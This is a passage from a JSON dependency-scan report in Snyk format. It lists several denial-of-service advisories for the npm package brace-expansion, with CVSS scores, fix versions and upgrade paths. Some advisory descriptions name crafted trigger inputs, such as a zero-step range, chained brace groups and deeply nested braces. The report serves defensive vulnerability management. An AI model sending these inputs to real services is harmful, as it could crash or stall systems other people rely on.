"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
